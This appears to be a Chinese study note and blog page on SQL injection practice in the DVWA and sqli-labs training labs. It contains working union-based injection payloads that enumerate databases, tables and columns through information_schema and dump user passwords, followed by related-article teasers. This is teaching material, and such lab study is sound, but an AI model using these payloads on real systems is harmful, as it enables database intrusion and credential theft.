sql注入知识

dvwa

1' order by 1#
1' order by 2#
1' order by 3# 排序

1' union select 111,222,333 ---可以查看前端与数据库之间的联系，即数据库在前端显示的出口！

1' union select database(),user()#  联合查询
database() 查询数据库名字
user() 返回当前查询的用户名

1' union select version(),@@version_compile_os#
version() 返回网站使用数据库的版本
@@version_compile_os 获取当前操作系统

1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa' #

information_schema 是 mysql 自带的一张表，这张数据表保存了Mysql服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表，该表包含两个字段table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库。

1' union select user, password from users#
返回users表中的user 和 password数据

sqli-labs

在MySQL5.0以上的版本中，为了方便管理，默认定义了information_schema数据库，其中具有表schemata（数据库名），tables（表名），columns（列名或字段名）
在schemata表中，schema_name字段用来存储数据库名。
在tables表中，table_schema和table_name分别用来存储数据库名和表名
在columns表中，table_schema（数据库名)、table_name（表名）、column_name（字段名）
group_concat()函数可以将查询到的一列结果存放在一起。

http://sqli/less-1/?id=333' union select 111,222,database() -- -爆当前使用的数据库

http://sqli/Less-1/?id=333' union select 111,222,group_concat(schema_name) from information_schema.schemata -- -
爆数据库名

http://sqli/less-1/?id=333' union select 111,222,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
爆数据库的表名

http://sqli/less-1/?id=333' union select 111,222,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
爆users表中的字段信息

http://sqli/less-1/?id=333' union select 111,group_concat(username),group_concat(password) from security.users -- -
爆users表中的信息

sql字符型注入-sqli第1关相关推荐

【less-1】基于SQLI的SQL字符型报错注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 文章目录实验目的实验环境实验原理实验步骤第一步登录SQLI-Labs平台第二步登录Kali平台,启动 ...
SQL注入之字符型注入练习（pikachu）
SQL注入之字符型实现目标:获取到pikachu下的表.数据信息靶场:pikachu =>sql-inject=>字符型注入 2.实验步骤第一步目标:拿到数据库名 2.1确定请求方法 ...
SQL注入原理-字符型注入
小伙伴们大家好!本期为大家带来的是SQL注入原理-字符型注入的讲解! 目录 SQL注入原理字符型注入一.单引号字符注入 1.测试是否存在注入点 2.判断字段个数 3.找出可以回显的字段 4.查看当 ...
【less-11】基于SQLI的POST字符型SQL注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入实验目的实验环境实验原理实验步骤第一步判断是够存在POST型注入点 ...
山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台（七）-SQL注入字符型
目录前言: 一.简介二.项目配置三.代码编写四.运行测试前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...
php字符型和数字型的注入,Sql注入的分类：数字型+字符型
Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...
SQL注入学习——sqli-labs闯关(Basic Challenges)
文章目录前言一.漏洞介绍 1.什么是SQL注入? 2.SQL注入原理: 3.注入漏洞分类: 二.靶场练习基础知识: Less1 基于错误的GET单引号字符型注入 Less2 基于错误的GET数字 ...
SQL注入(SQL注入(SQLi)攻击)攻击-注入点
SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大 SQL注入原理用户在参数中插入恶意的SQL语句 , 破坏原有的SQL语法结构 , 从而执行攻击者的操作 SQL注入 ...
5-2从一个数字型注入认识sql注入漏洞
目录 SQL Inject 漏洞-注入点类型-数字类型判断演示:pikachu-SQL-Inject-数字型注入 SQL Inject 漏洞-注入点类型-数字类型判断我们切换到pikachu的平台 ...
mysql 数值型注入_SQL注入之PHP-MySQL实现手工注入-数字型
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

sql字符型注入-sqli第1关

sql注入知识

dvwa

sqli-labs

sql字符型注入-sqli第1关相关推荐

最新文章

热门文章